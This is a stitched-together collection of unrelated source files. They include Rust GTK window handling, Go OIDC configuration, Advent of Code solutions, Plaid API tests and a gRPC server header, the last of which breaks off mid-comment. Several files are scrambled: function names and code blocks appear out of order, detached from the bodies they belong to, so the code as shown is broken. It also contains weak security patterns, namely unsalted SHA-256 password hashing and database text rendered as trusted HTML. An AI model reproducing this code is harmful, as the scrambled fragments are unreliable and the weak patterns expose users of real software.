gtk::DrawingArea::new(); drawing_area.set_events( EventMask::EXPOSURE_MASK | EventMask::POINTER_MOTION_MASK | EventMask::BUTTON_PRESS_MASK | EventMask::BUTTON_RELEASE_MASK | EventMask::KEY_PRESS_MASK | EventMask::ENTER_NOTIFY_MASK | EventMask::KEY_RELEASE_MASK | EventMask::SCROLL_MASK | EventMask::SMOOTH_SCROLL_MASK, ); drawing_area.set_can_focus(true); drawing_area.grab_focus(); drawing_area.connect_enter_notify_event(|widget, _| { widget.grab_focus(); Inhibit(true) }); let last_size = Cell::new((0, 0)); drawing_area.connect_draw(clone!(handle => move |widget, context| { if let Some(state) = handle.state.upgrade() { let extents = context.clip_extents(); let dpi_scale = state.window.get_window() .map(|w| w.get_display().get_default_screen().get_resolution()) .unwrap_or(96.0) / 96.0; let size = ( ((extents.2 - extents.0) * dpi_scale) as u32, ((extents.3 - extents.1) * dpi_scale) as u32, ); if last_size.get() != size { last_size.set(size); state.handler.borrow_mut().size(size.0, size.1); } // For some reason piet needs a mutable context, so give it one I guess. let mut context = context.clone(); let mut piet_context = Piet::new(&mut context); if let Ok(mut handler_borrow) = state.handler.try_borrow_mut() { let anim = handler_borrow .paint(&mut piet_context); if let Err(e) = piet_context.finish() { eprintln!("piet error on render: {:?}", e); } if anim { widget.queue_draw(); } } } Inhibit(false) })); drawing_area.connect_button_press_event(clone!(handle => move |_widget, button| { if let Some(state) = handle.state.upgrade() { state.handler.borrow_mut().mouse_down( &MouseEvent { pos: Point::from(button.get_position()), count: get_mouse_click_count(button.get_event_type()), mods: get_modifiers(button.get_state()), button: get_mouse_button(button.get_button()), }, ); } Inhibit(true) })); drawing_area.connect_button_release_event(clone!(handle => move |_widget, button| { if let Some(state) = handle.state.upgrade() { state.handler.borrow_mut().mouse_up( &MouseEvent { pos: Point::from(button.get_position()), mods: get_modifiers(button.get_state()), count: 0, button: get_mouse_button(button.get_button()), }, ); } Inhibit(true) })); drawing_area.connect_motion_notify_event(clone!(handle=>move |_widget, motion| { if let Some(state) = handle.state.upgrade() { let pos = Point::from(motion.get_position()); let mouse_event = MouseEvent { pos, mods: get_modifiers(motion.get_state()), count: 0, button: get_mouse_button_from_modifiers(motion.get_state()), }; state .handler .borrow_mut() .mouse_move(&mouse_event); } Inhibit(true) })); drawing_area.connect_scroll_event(clone!(handle => move |_widget, scroll| { if let Some(state) = handle.state.upgrade() { let modifiers = get_modifiers(scroll.get_state()); // The magic "120"s are from Microsoft's documentation for WM_MOUSEWHEEL. // They claim that one "tick" on a scroll wheel should be 120 units. let mut handler = state.handler.borrow_mut(); match scroll.get_direction() { ScrollDirection::Up => { handler.wheel(Vec2::from((0.0, -120.0)), modifiers); } ScrollDirection::Down => { handler.wheel(Vec2::from((0.0, 120.0)), modifiers); } ScrollDirection::Left => { handler.wheel(Vec2::from((-120.0, 0.0)), modifiers); } ScrollDirection::Right => { handler.wheel(Vec2::from((120.0, 0.0)), modifiers); } ScrollDirection::Smooth => { //TODO: Look at how gtk's scroll containers implements it let (mut delta_x, mut delta_y) = scroll.get_delta(); delta_x *= 120.; delta_y *= 120.; handler.wheel(Vec2::from((delta_x, delta_y)), modifiers) } e => { eprintln!( "Warning: the Druid widget got some whacky scroll direction {:?}", e ); } } } Inhibit(true) })); drawing_area.connect_key_press_event(clone!(handle => move |_widget, key| { if let Some(state) = handle.state.upgrade() { let mut current_keyval = state.current_keyval.borrow_mut(); let repeat = *current_keyval == Some(key.get_keyval()); *current_keyval = Some(key.get_keyval()); let key_event = make_key_event(key, repeat); state.handler.borrow_mut().key_down(key_event); } Inhibit(true) })); drawing_area.connect_key_release_event(clone!(handle => move |_widget, key| { if let Some(state) = handle.state.upgrade() { *(state.current_keyval.borrow_mut()) = None; let key_event = make_key_event(key, false); state.handler.borrow_mut().key_up(key_event); } Inhibit(true) })); drawing_area.connect_destroy(clone!(handle => move |_widget| { if let Some(state) = handle.state.upgrade() { state.handler.borrow_mut().destroy(); } })); vbox.pack_end(&drawing_area, true, true, 0); win_state .handler .borrow_mut() .connect(&handle.clone().into()); win_state.handler.borrow_mut().connected(); Ok(handle) } } impl WindowHandle { pub fn show(&self) { if let Some(state) = self.state.upgrade() { state.window.show_all(); } } /// Close the window. pub fn close(&self) { if let Some(state) = self.state.upgrade() { with_application(|app| { app.remove_window(&state.window); }); } } /// Bring this window to the front of the window stack and give it focus. pub fn bring_to_front_and_focus(&self) { //FIXME: implementation goes here log::warn!("bring_to_front_and_focus not yet implemented for gtk"); } // Request invalidation of the entire window contents. pub fn invalidate(&self) { if let Some(state) = self.state.upgrade() { state.window.queue_draw(); } } pub fn text(&self) -> Text { Text::new() } pub fn request_timer(&self, deadline: Instant) -> TimerToken { let interval = deadline .checked_duration_since(Instant::now()) .unwrap_or_default() .as_millis(); let interval = match u32::try_from(interval) { Ok(iv) => iv, Err(_) => { log::warn!("timer duration exceeds gtk max of 2^32 millis"); u32::max_value() } }; let token = TimerToken::next(); let handle = self.clone(); gdk::threads_add_timeout(interval, move || { if let Some(state) = handle.state.upgrade() { if let Ok(mut handler_borrow) = state.handler.try_borrow_mut() { handler_borrow.timer(token); return false; } } true }); token } pub fn set_cursor(&mut self, cursor: &Cursor) { if let Some(gdk_window) = self.state.upgrade().and_then(|s| s.window.get_window()) { let cursor = make_gdk_cursor(cursor, &gdk_window); gdk_window.set_cursor(cursor.as_ref()); } } pub fn open_file_sync(&mut self, options: FileDialogOptions) -> Option<FileInfo> { self.file_dialog(FileDialogType::Open, options) .ok() .map(|s| FileInfo { path: s.into() }) } pub fn save_as_sync(&mut self, options: FileDialogOptions) -> Option<FileInfo> { self.file_dialog(FileDialogType::Save, options) .ok() .map(|s| FileInfo { path: s.into() }) } /// Get a handle that can be used to schedule an idle task. pub fn get_idle_handle(&self) -> Option<IdleHandle> { self.state.upgrade().map(|s| IdleHandle { idle_queue: s.idle_queue.clone(), state: Arc::downgrade(&s), }) } /// Get the dpi of the window. /// /// TODO: we want to migrate this from dpi (with 96 as nominal) to a scale /// factor (with 1 as nominal). pub fn get_dpi(&self) -> f32 { self.state .upgrade() .and_then(|s| s.window.get_window()) .map(|w| w.get_display().get_default_screen().get_resolution() as f32) .unwrap_or(96.0) } // TODO: the following methods are cut'n'paste code. A good way to DRY // would be to have a platform-independent trait with these as methods with // default implementations. /// Convert a dimension in px units to physical pixels (rounding). pub fn px_to_pixels(&self, x: f32) -> i32 { (x * self.get_dpi() * (1.0 / 96.0)).round() as i32 } /// Convert a point in px units to physical pixels (rounding). pub fn px_to_pixels_xy(&self, x: f32, y: f32) -> (i32, i32) { let scale = self.get_dpi() * (1.0 / 96.0); ((x * scale).round() as i32, (y * scale).round() as i32) } /// Convert a dimension in physical pixels to px units. pub fn pixels_to_px<T: Into<f64>>(&self, x: T) -> f32 { (x.into() as f32) * 96.0 / self.get_dpi() } /// Convert a point in physical pixels to px units. pub fn pixels_to_px_xy<T: Into<f64>>(&self, x: T, y: T) -> (f32, f32) { let scale = 96.0 / self.get_dpi(); ((x.into() as f32) * scale, (y.into() as f32) * scale) } pub fn set_menu(&self, menu: Menu) { if let Some(state) = self.state.upgrade() { let window = &state.window; let accel_group = AccelGroup::new(); window.add_accel_group(&accel_group); let vbox = window.get_children()[0] .clone() .downcast::<gtk::Box>() .unwrap(); let first_child = &vbox.get_children()[0]; if first_child.is::<gtk::MenuBar>() { vbox.remove(first_child); } let menubar = menu.into_gtk_menubar(&self, &accel_group); vbox.pack_start(&menubar, false, false, 0); menubar.show_all(); } } pub fn show_context_menu(&self, menu: Menu, _pos: Point) { if let Some(state) = self.state.upgrade() { let window = &state.window; let accel_group = AccelGroup::new(); window.add_accel_group(&accel_group); let menu = menu.into_gtk_menu(&self, &accel_group); menu.show_all(); menu.popup_easy(3, gtk::get_current_event_time()); } } pub fn set_title(&self, title: impl Into<String>) { if let Some(state) = self.state.upgrade() { state.window.set_title(&(title.into())); } } fn file_dialog( &self, ty: FileDialogType, options: FileDialogOptions, ) -> Result<OsString, Error> { if let Some(state) = self.state.upgrade() { dialog::get_file_dialog_path(state.window.upcast_ref(), ty, options) } else { Err(Error::Other( "Cannot upgrade state from weak pointer to arc", )) } } } unsafe impl Send for IdleHandle {} // WindowState needs to be Send + Sync so it can be passed into glib closures unsafe impl Send for WindowState {} unsafe impl Sync for WindowState {} impl IdleHandle { /// Add an idle handler, which is called (once) when the message loop /// is empty. The idle handler will be run from the main UI thread, and /// won't be scheduled if the associated view has been dropped. /// /// Note: the name "idle" suggests that it will be scheduled with a lower /// priority than other UI events, but that's not necessarily the case. pub fn add_idle_callback<F>(&self, callback: F) where F: FnOnce(&dyn Any) + Send + 'static, { let mut queue = self.idle_queue.lock().unwrap(); if let Some(state) = self.state.upgrade() { if queue.is_empty() { queue.push(IdleKind::Callback(Box::new(callback))); gdk::threads_add_idle(move || run_idle(&state)); } else { queue.push(IdleKind::Callback(Box::new(callback))); } } } pub fn add_idle_token(&self, token: IdleToken) { let mut queue = self.idle_queue.lock().unwrap(); if let Some(state) = self.state.upgrade() { if queue.is_empty() { queue.push(IdleKind::Token(token)); gdk::threads_add_idle(move || run_idle(&state)); } else { queue.push(IdleKind::Token(token)); } } } } fn run_idle(state: &Arc<WindowState>) -> bool { assert_main_thread(); let mut handler = state.handler.borrow_mut(); let queue: Vec<_> = std::mem::replace(&mut state.idle_queue.lock().unwrap(), Vec::new()); for item in queue { match item { IdleKind::Callback(it) => it.call(handler.as_any()), IdleKind::Token(it) => handler.idle(it), } } false } fn make_gdk_cursor(cursor: &Cursor, gdk_window: &gdk::Window) -> Option<gdk::Cursor> { gdk::Cursor::new_from_name( &gdk_window.get_display(), match cursor { // cursor name values from https://www.w3.org/TR/css-ui-3/#cursor Cursor::Arrow => "default", Cursor::IBeam => "text", Cursor::Crosshair => "crosshair", Cursor::OpenHand => "grab", Cursor::NotAllowed => "not-allowed", Cursor::ResizeLeftRight => "ew-resize", Cursor::ResizeUpDown => "ns-resize", }, ) } fn get_mouse_button(button: u32) -> MouseButton { match button { 1 => MouseButton::Left, 2 => MouseButton::Middle, 3 => MouseButton::Right, 4 => MouseButton::X1, 5 => MouseButton::X2, _ => MouseButton::Left, } } fn get_mouse_button_from_modifiers(modifiers: gdk::ModifierType) -> MouseButton { match modifiers { modifiers if modifiers.contains(ModifierType::BUTTON1_MASK) => MouseButton::Left, modifiers if modifiers.contains(ModifierType::BUTTON2_MASK) => MouseButton::Middle, modifiers if modifiers.contains(ModifierType::BUTTON3_MASK) => MouseButton::Right, modifiers if modifiers.contains(ModifierType::BUTTON4_MASK) => MouseButton::X1, modifiers if modifiers.contains(ModifierType::BUTTON5_MASK) => MouseButton::X2, _ => { //FIXME: what about when no modifiers match? MouseButton::Left } } } fn get_mouse_click_count(event_type: gdk::EventType) -> u32 { match event_type { gdk::EventType::ButtonPress => 1, gdk::EventType::DoubleButtonPress => 2, gdk::EventType::TripleButtonPress => 3, _ => 0, } } fn get_modifiers(modifiers: gdk::ModifierType) -> keyboard::KeyModifiers { keyboard::KeyModifiers { shift: modifiers.contains(ModifierType::SHIFT_MASK), alt: modifiers.contains(ModifierType::MOD1_MASK), ctrl: modifiers.contains(ModifierType::CONTROL_MASK), meta: modifiers.contains(ModifierType::META_MASK), } } fn make_key_event(key: &EventKey, repeat: bool) -> keyboard::KeyEvent { let keyval = key.get_keyval(); let hardware_keycode = key.get_hardware_keycode(); let keycode = hardware_keycode_to_keyval(hardware_keycode).unwrap_or(keyval); let text = gdk::keyval_to_unicode(keyval); keyboard::KeyEvent::new(keycode, repeat, get_modifiers(key.get_state()), text, text) } /// Map a hardware keycode to a keyval by performing a lookup in the keymap and finding the /// keyval with the lowest group and level fn hardware_keycode_to_keyval(keycode: u16) -> Option<u32> { unsafe { let keymap = gdk_sys::gdk_keymap_get_default(); let mut nkeys = 0; let mut keys: *mut gdk_sys::GdkKeymapKey = ptr::null_mut(); let mut keyvals: *mut c_uint = ptr::null_mut(); // call into gdk to retrieve the keyvals and keymap keys gdk_sys::gdk_keymap_get_entries_for_keycode( keymap, c_uint::from(keycode), &mut keys as *mut *mut gdk_sys::GdkKeymapKey, &mut keyvals as *mut *mut c_uint, &mut nkeys as *mut c_int, ); if nkeys > 0 { let keyvals_slice = slice::from_raw_parts(keyvals, nkeys as usize); let keys_slice = slice::from_raw_parts(keys, nkeys as usize); let resolved_keyval = keys_slice.iter().enumerate().find_map(|(i, key)| { if key.group == 0 && key.level == 0 { Some(keyvals_slice[i]) } else { None } }); // notify glib to free the allocated arrays
glib_sys::g_free(keyvals as *mut c_void); glib_sys::g_free(keys as *mut c_void); resolved_keyval } else { None } } }
types.go
// Copyright (c) 2020-2022 Tigera, Inc. All rights reserved. // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package authentication import ( "crypto/tls" "crypto/x509" "encoding/json" "fmt" "io/ioutil" "net/http" "strings" corev1 "k8s.io/api/core/v1" ) type KeyValidatorConfig interface { Issuer() string ClientID() string // RequiredConfigMaps returns config maps that the KeyValidatorConfig implementation requires. RequiredConfigMaps(namespace string) []*corev1.ConfigMap // RequiredEnv returns env variables that the KeyValidatorConfig implementation requires. RequiredEnv(prefix string) []corev1.EnvVar // RequiredAnnotations returns annotations that the KeyValidatorConfig implementation requires. RequiredAnnotations() map[string]string // RequiredSecrets returns secrets that the KeyValidatorConfig implementation requires. RequiredSecrets(namespace string) []*corev1.Secret // RequiredVolumeMounts returns volume mounts that the KeyValidatorConfig implementation requires. RequiredVolumeMounts() []corev1.VolumeMount // RequiredVolumes returns volumes that the KeyValidatorConfig implementation requires. RequiredVolumes() []corev1.Volume } func
(issuerURL string, rootCA []byte) (*WellKnownConfig, error) { httpClient := http.DefaultClient if len(rootCA) > 0 { caCertPool := x509.NewCertPool() caCertPool.AppendCertsFromPEM(rootCA) httpClient.Transport = &http.Transport{ TLSClientConfig: &tls.Config{RootCAs: caCertPool}, } } wellKnown := strings.TrimSuffix(issuerURL, "/") + "/.well-known/openid-configuration" req, err := http.NewRequest("GET", wellKnown, nil) if err != nil { return nil, err } resp, err := httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, fmt.Errorf("unable to read response body: %v", err) } wellKnownConfig := WellKnownConfig{} if err = json.Unmarshal(body, &wellKnownConfig); err != nil { return nil, err } return &wellKnownConfig, nil } type WellKnownConfig struct { Issuer string `json:"issuer"` AuthURL string `json:"authorization_endpoint"` TokenURL string `json:"token_endpoint"` JWKSURL string `json:"jwks_uri"` UserInfoURL string `json:"userinfo_endpoint"` Algorithms []string `json:"id_token_signing_alg_values_supported"` } func (wk *WellKnownConfig) GetJWKS() ([]byte, error) { httpClient := http.DefaultClient req, err := http.NewRequest("GET", wk.JWKSURL, nil) if err != nil { return nil, err } resp, err := httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() keys, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, err } return keys, nil } func (wk *WellKnownConfig) ToString() string { str, err := json.Marshal(wk) if err != nil { // TODO rethink panicking panic(err) } return string(str) }
NewWellKnownConfig
ts_payroll.py
# import frappe from frappe.model.document import Document class TS_Payroll(Document): pass
# Copyright (c) 2021, TS and contributors # For license information, please see license.txt
css-not-sel-list.js
module.exports={A:{A:{"2":"J D E F A B oB"},B:{"1":"Z a b c d e S f H","2":"C K L G M N O Q R U V W X Y","16":"P"},C:{"1":"V W X Y Z a b c d e S f H iB","2":"0 1 2 3 4 5 6 7 8 9 pB eB I g J D E F A B C K L G M N O h i j k l m n o p q r s t u v w x y z AB BB CB DB EB FB GB HB IB JB KB fB LB gB MB NB T OB PB QB RB SB TB UB VB WB XB YB ZB aB bB P Q R hB U qB rB"},D:{"1":"Z a b c d e S f H iB sB tB","2":"0 1 2 3 4 5 6 7 8 9 I g J D E F A B C K L G M N O h i j k l m n o p q r s t u v w x y z AB BB CB DB EB FB GB HB IB JB KB fB LB gB MB NB T OB PB QB RB SB TB UB VB WB XB YB ZB aB bB P Q R U V W X Y"},E:{"1":"F A B C K L G yB kB cB dB zB 0B 1B lB 2B","2":"I g J D E uB jB vB wB xB"},F:{"1":"YB ZB aB bB P Q R hB","2":"0 1 2 3 4 5 6 7 8 9 F B C G M N O h i j k l m n o p q r s t u v w x y z AB BB CB DB EB FB GB HB IB JB KB LB MB NB T OB PB QB RB SB TB UB VB WB XB 3B 4B 5B 6B cB mB 7B dB"},G:{"1":"DC EC FC GC HC IC JC KC LC MC NC OC PC QC RC lB","2":"E jB 8B nB 9B AC BC CC"},H:{"2":"SC"},I:{"1":"H","2":"eB I TC UC VC WC nB XC YC"},J:{"2":"D A"},K:{"1":"T","2":"A B C cB mB dB"},L:{"1":"H"},M:{"1":"S"},N:{"2":"A B"},O:{"2":"ZC"},P:{"1":"jC","2":"I aC bC cC dC eC kB fC gC hC iC"},Q:{"2":"kC"},R:{"2":"lC"},S:{"2":"mC"}},B:5,C:"selector list argument of :not()"};
desdd_selection.py
from dyn2sel.dcs_techniques import DCSTechnique import numpy as np from scipy.stats import mode class DESDDSel(DCSTechnique):
def predict(self, ensemble, instances, real_labels=None): return ensemble[ensemble.get_max_accuracy()].predict(instances)
scan.go
package main func scan(s string) (*group, int) { root := newGroup(nil) garbageCount := 0 current := root inGarbage := false for i := 1; i < len(s)-1; i++ { if s[i] == '>' { // end of garbage inGarbage = false continue } if inGarbage
switch s[i] { case '{': // start of group current = newGroup(current) current.parent.children = append(current.parent.children, current) case '}': // end of group current = current.parent case ',': // next group case '<': // start of garbage inGarbage = true } } return root, garbageCount }
{ if s[i] == '!' { // escape: skip next character i++ } else { garbageCount++ } continue }
user.go
package models
"time" "github.com/aditya43/golang/69-social-network-built-in-go-and-gopherjs/common/utility" ) type User struct { UUID string `json:"uuid" bson:"uuid"` Username string `json:"username" bson:"username"` FirstName string `json:"firstName" bson:"firstName"` LastName string `json:"lastName" bson:"lastName"` Email string `json:"email" bson:"email"` PasswordHash string `json:"passwordHash" bson:"passwordHash"` TimestampCreated int64 `json:"timestampCreated" bson:"timestampCreated"` TimestampModified int64 `json:"timestampModified" bson:"timestampModified"` } func NewUser(username string, firstName string, lastName string, email string, password string) *User { passwordHash := utility.SHA256OfString(password) now := time.Now() unixTimestamp := now.Unix() u := User{UUID: utility.GenerateUUID(), Username: username, FirstName: firstName, LastName: lastName, Email: email, PasswordHash: passwordHash, TimestampCreated: unixTimestamp} return &u }
import (
lws-edit.go
package query import ( "database/sql" "html/template" "net/http" "github.com/budden/semdict/pkg/apperror" "github.com/budden/semdict/pkg/sddb" "github.com/budden/semdict/pkg/user" "github.com/gin-gonic/gin" ) // parameters type lwsEditParamsType struct { Lwsid int64 // 0 when creating Sduserid int64 // taken from sesion, 0 when not logged in Senseid int64 Languageid int64 } // data for the form obtained from the DB type lwsEditDataType struct { Word string Commentary template.HTML Languageslug string OWord string Theme string Phrase template.HTML OwnerId sql.NullInt64 // owner of a sense Ownernickname string // owner of a sense (direct or implied) } // SenseViewHTMLTemplateParamsType are params for senseview.t.html type lwsNewEditHTMLTemplateParamsType struct { Lep *lwsEditParamsType Led *lwsEditDataType Phrase template.HTML } // read the sense, see the vsense view and senseViewParamsType for the explanation func readLwsNewEditDataFromDb(lnep *lwsEditParamsType) (lned *lwsEditDataType) { reply, err1 := sddb.NamedReadQuery( `select coalesce(tlws.word,'') as word, coalesce(tlws.commentary,'') as commentary, tsense.oword, tsense.phrase, tsense.phrase, coalesce(sense_owner.nickname,cast('' as varchar(128))) as ownernickname, coalesce(tlanguage.slug,'') as languageslug from tsense left join tlws on tlws.id = :lwsid and tlws.senseid = :senseid left join sduser as sense_owner on tsense.ownerid = sense_owner.id left join tlanguage on tlanguage.id = :languageid where tsense.id = :senseid`, &lnep) apperror.Panic500AndErrorIf(err1, "Failed to extract data, sorry") defer sddb.CloseRows(reply)() lned = &lwsEditDataType{} dataFound := false for reply.Next() { err1 = reply.StructScan(lned) dataFound = true } sddb.FatalDatabaseErrorIf(err1, "Error obtaining data: %#v", err1) if !dataFound { apperror.Panic500AndErrorIf(apperror.ErrDummy, "Data not found") } return } func LwsNewEditRequestHandler(c *gin.Context) { lnep := &lwsEditParamsType{Sduserid: int64(user.GetSDUserIdOrZero(c))} lnep.Senseid = extractIdFromRequest(c, "senseid") lnep.Languageid = extractIdFromRequest(c, "languageid") lned := readLwsNewEditDataFromDb(lnep) phrase := template.HTML(lned.Phrase) c.HTML(http.StatusOK, "lws-new-edit.t.html", lwsNewEditHTMLTemplateParamsType{Lep: lnep, Led: lned, Phrase: phrase}) } func LwsEditGetHandler(c *gin.Context)
{ lnep := &lwsEditParamsType{Sduserid: int64(user.GetSDUserIdOrZero(c))} lnep.Senseid = extractIdFromRequest(c, "senseid") lnep.Languageid = extractIdFromRequest(c, "languageid") lnep.Lwsid = extractIdFromRequest(c, "lwsid") lned := readLwsNewEditDataFromDb(lnep) c.HTML(http.StatusOK, "lws-edit.t.html", lwsNewEditHTMLTemplateParamsType{Lep: lnep, Led: lned}) }
advent7.rs
// advent7.rs // IPv7, ABBA detection use std::io; use std::io::BufRead; use std::collections::HashSet; fn main() { let stdin = io::stdin(); let addrs: Vec<_> = stdin.lock() .lines() .map(|l| l.expect("Failed to read line")) .collect(); let total_supports_tls = addrs.iter() .filter(|addr| supports_tls(addr)) .count(); let total_supports_ssl = addrs.iter() .filter(|addr| supports_ssl(addr)) .count(); println!("Part 1 total TLS addresses: {}", total_supports_tls); println!("Part 2 total SSL addresses: {}", total_supports_ssl); } // detect if address has ABBA in supernet sequences and no ABBA in hypernet sequences fn supports_tls(addr: &str) -> bool { // assuming well-formed addresses that have correctly balanced [ and ]: // This means odd substrings are hypernet sequences and even substrings are not let (supernets, hypernets): (Vec<_>, Vec<_>) = addr.split(|c| c == '[' || c == ']').enumerate().partition(|&(i, _)| i % 2 == 0); hypernets.iter().all(|&(_, x)| !has_abba(x)) && supernets.iter().any(|&(_, x)| has_abba(x)) } // detect if string has characters in the form ABBA fn has_abba(s: &str) -> bool { s.as_bytes().windows(4).any(|w| w[0] == w[3] && w[1] == w[2] && w[0] != w[1]) } // /////// // Part 2 fn supports_ssl(addr: &str) -> bool { // Split IPV7 address into supernets and hypernets let (supernets, hypernets): (Vec<_>, Vec<_>) = addr.split(|c| c == '[' || c == ']').enumerate().partition(|&(i, _)| i % 2 == 0); // Find all ABAs in supernets and store them as a set of BABs let mut babs = HashSet::new(); for &(_, supernet) in &supernets { get_bab_from_aba(supernet, &mut babs); } // Search all hypernets for any BAB for &(_, hypernet) in &hypernets { for bab in &babs { if hypernet.contains(bab) { return true; } } } false } // find any ABAs in the string and add the corresponding BABs to the set fn get_bab_from_aba(s: &str, babs: &mut HashSet<String>) { for bab in s.as_bytes() .windows(3) .filter_map(|w| if w[0] == w[2] && w[0] != w[1] { String::from_utf8(vec![w[1], w[0], w[1]]).ok() } else { None }) { babs.insert(bab); } } // /////// // Tests #[test] fn test_supports_tls() { assert!(!supports_tls("[mnop]qrst")); assert!(supports_tls("abba[mnop]qrst")); assert!(!supports_tls("abcd[bddb]xyyx")); assert!(!supports_tls("aaaa[qwer]tyui")); assert!(supports_tls("ioxxoj[asdfgh]zxcvbn")); } #[test] fn
() { assert!(!has_abba("")); assert!(!has_abba("abb")); assert!(!has_abba("abcd")); assert!(has_abba("abba")); assert!(has_abba("wfabbatu")); assert!(!has_abba("aaaa")); assert!(!has_abba("abbb")); assert!(!has_abba("abaa")); } // part 2 #[test] fn test_supports_ssl() { assert!(supports_ssl("aba[bab]xyz")); assert!(!supports_ssl("xyz[xyz]xyz")); assert!(supports_ssl("aaa[kek]eke")); assert!(supports_ssl("zazbz[bzb]cdb")); } #[test] fn test_get_bab_from_aba() { let mut test_set = HashSet::new(); let mut babs = HashSet::new(); get_bab_from_aba("", &mut babs); assert_eq!(test_set, babs); get_bab_from_aba("zazbz", &mut babs); test_set.insert("aza".to_string()); test_set.insert("bzb".to_string()); assert_eq!(test_set, babs); }
test_has_abba
item_test.go
package plaid import ( "crypto/rand" "encoding/hex" "strings" "testing" assert "github.com/stretchr/testify/require" ) func randomHex(n int) (string, error) { bytes := make([]byte, n) if _, err := rand.Read(bytes); err != nil { return "", err } return hex.EncodeToString(bytes), nil } func TestGetItem(t *testing.T) { sandboxResp, _ := testClient.CreateSandboxPublicToken(sandboxInstitution, testProducts) tokenResp, _ := testClient.ExchangePublicToken(sandboxResp.PublicToken) itemResp, err := testClient.GetItem(tokenResp.AccessToken) assert.Nil(t, err) assert.NotNil(t, itemResp.Item) } func
(t *testing.T) { sandboxResp, _ := testClient.CreateSandboxPublicToken(sandboxInstitution, testProducts) tokenResp, _ := testClient.ExchangePublicToken(sandboxResp.PublicToken) itemResp, err := testClient.RemoveItem(tokenResp.AccessToken) assert.Nil(t, err) assert.True(t, itemResp.Removed) } func TestUpdateItemWebhook(t *testing.T) { sandboxResp, _ := testClient.CreateSandboxPublicToken(sandboxInstitution, testProducts) tokenResp, _ := testClient.ExchangePublicToken(sandboxResp.PublicToken) itemResp, err := testClient.UpdateItemWebhook(tokenResp.AccessToken, "https://plaid.com/webhook-test") assert.Nil(t, err) assert.NotNil(t, itemResp.Item) assert.Equal(t, itemResp.Item.Webhook, "https://plaid.com/webhook-test") } func TestInvalidateAccessToken(t *testing.T) { sandboxResp, _ := testClient.CreateSandboxPublicToken(sandboxInstitution, testProducts) tokenResp, _ := testClient.ExchangePublicToken(sandboxResp.PublicToken) newTokenResp, err := testClient.InvalidateAccessToken(tokenResp.AccessToken) assert.Nil(t, err) assert.NotNil(t, newTokenResp.NewAccessToken) } func TestUpdateAccessTokenVersion(t *testing.T) { invalidToken, _ := randomHex(80) newTokenResp, err := testClient.InvalidateAccessToken(invalidToken) assert.NotNil(t, err) assert.True(t, newTokenResp.NewAccessToken == "") } func TestCreatePublicToken(t *testing.T) { sandboxResp, _ := testClient.CreateSandboxPublicToken(sandboxInstitution, testProducts) tokenResp, _ := testClient.ExchangePublicToken(sandboxResp.PublicToken) publicTokenResp, err := testClient.CreatePublicToken(tokenResp.AccessToken) assert.Nil(t, err) assert.True(t, strings.HasPrefix(publicTokenResp.PublicToken, "public-sandbox")) } func TestExchangePublicToken(t *testing.T) { sandboxResp, _ := testClient.CreateSandboxPublicToken(sandboxInstitution, testProducts) tokenResp, err := testClient.ExchangePublicToken(sandboxResp.PublicToken) assert.Nil(t, err) assert.True(t, strings.HasPrefix(tokenResp.AccessToken, "access-sandbox")) assert.NotNil(t, tokenResp.ItemID) }
TestRemoveItem
server_grpc.go
package rocserv import ( "context" "errors" "math" "runtime" "strconv" "strings" "time" "gitlab.pri.ibanyu.com/middleware/util/idl/gen-go/util/thriftutil" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" grpc_recovery "github.com/grpc-ecosystem/go-grpc-middleware/recovery" "github.com/opentracing/opentracing-go" "gitlab.pri.ibanyu.com/middleware/dolphin/rate_limit" "gitlab.pri.ibanyu.com/middleware/seaweed/xcontext" "gitlab.pri.ibanyu.com/middleware/seaweed/xlog" xprom "gitlab.pri.ibanyu.com/middleware/seaweed/xstat/xmetric/xprometheus" "gitlab.pri.ibanyu.com/middleware/seaweed/xtime" otgrpc "gitlab.pri.ibanyu.com/tracing/go-grpc" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" ) const ( apolloGrpcMaxSendMsgSizeKey = "grpc_server_max_send_msg_size" apolloGrpcMaxRecvMsgSizeKey = "grpc_server_max_recv_msg_size" defaultMaxSendMsgSize = math.MaxInt32 defaultMaxRecvMsgSize = 1024 * 1024 * 4 ) const printRequestBodyKey = "print_body" type printBodyMethod struct { PrintMethodList []string `json:"print_method_list" properties:"print_method_list"` NoPrintMethodList []string `json:"no_print_method_list" properties:"no_print_method_list"` } type GrpcServer struct { userUnaryInterceptors []grpc.UnaryServerInterceptor extraUnaryInterceptors []grpc.UnaryServerInterceptor // 服务启动之前, 内部添加的拦截器, 在所有拦截器之后添加 Server *grpc.Server } type FunInterceptor func(ctx context.Context, req interface{}, fun string) error // UnaryHandler是grpc UnaryHandler的别名, 便于统一管理grpc升级 type UnaryHandler func(ctx context.Context, req interface{}) (interface{}, error) // UnaryServerInterceptor是grpc UnaryServerInterceptor的别名, 便于统一管理grpc升级 type UnaryServerInterceptor func(ctx context.Context, req interface{}, info *UnaryServerInfo, handler UnaryHandler) (interface{}, error) // UnaryServerInfo是grpc UnaryServerInfo的别名, 便于统一管理grpc升级 type UnaryServerInfo struct { // Server is the service implementation the user provides. This is read-only. Server interface{} // FullMethod is the full RPC method string, i.e., /package.service/method. FullMethod string } // Deprecated // NewGrpcServer create grpc server with interceptors before handler func NewGrpcServer(fns ...FunInterceptor) *GrpcServer { return NewGrpcServerWithUnaryInterceptors() } // NewGrpcServerWithUnaryInterceptors 创建GrpcServer并添加自定义Unary拦截器 // 拦截器的调用顺序与添加顺序前向相同, 后向相反. 即如果添加顺序为: a, b. // 则调用链顺序为: pre-a -> pre-b -> grpc_func() -> post-b -> post-a // 这里添加的是用户自定义拦截器, 会添加在系统内置拦截器之后 (如tracing, 熔断等). // 示例 (对应于你的service项目中的processor/proc_grpc.go文件) //func (m *ProcGrpc) Driver() (string, interface{}) { // monitorInterceptor := func(ctx context.Context, req interface{}, info *rocserv.UnaryServerInfo, handler rocserv.UnaryHandler) (interface{}, error) { // // // 这里添加接口调用前的拦截器处理逻辑 // // 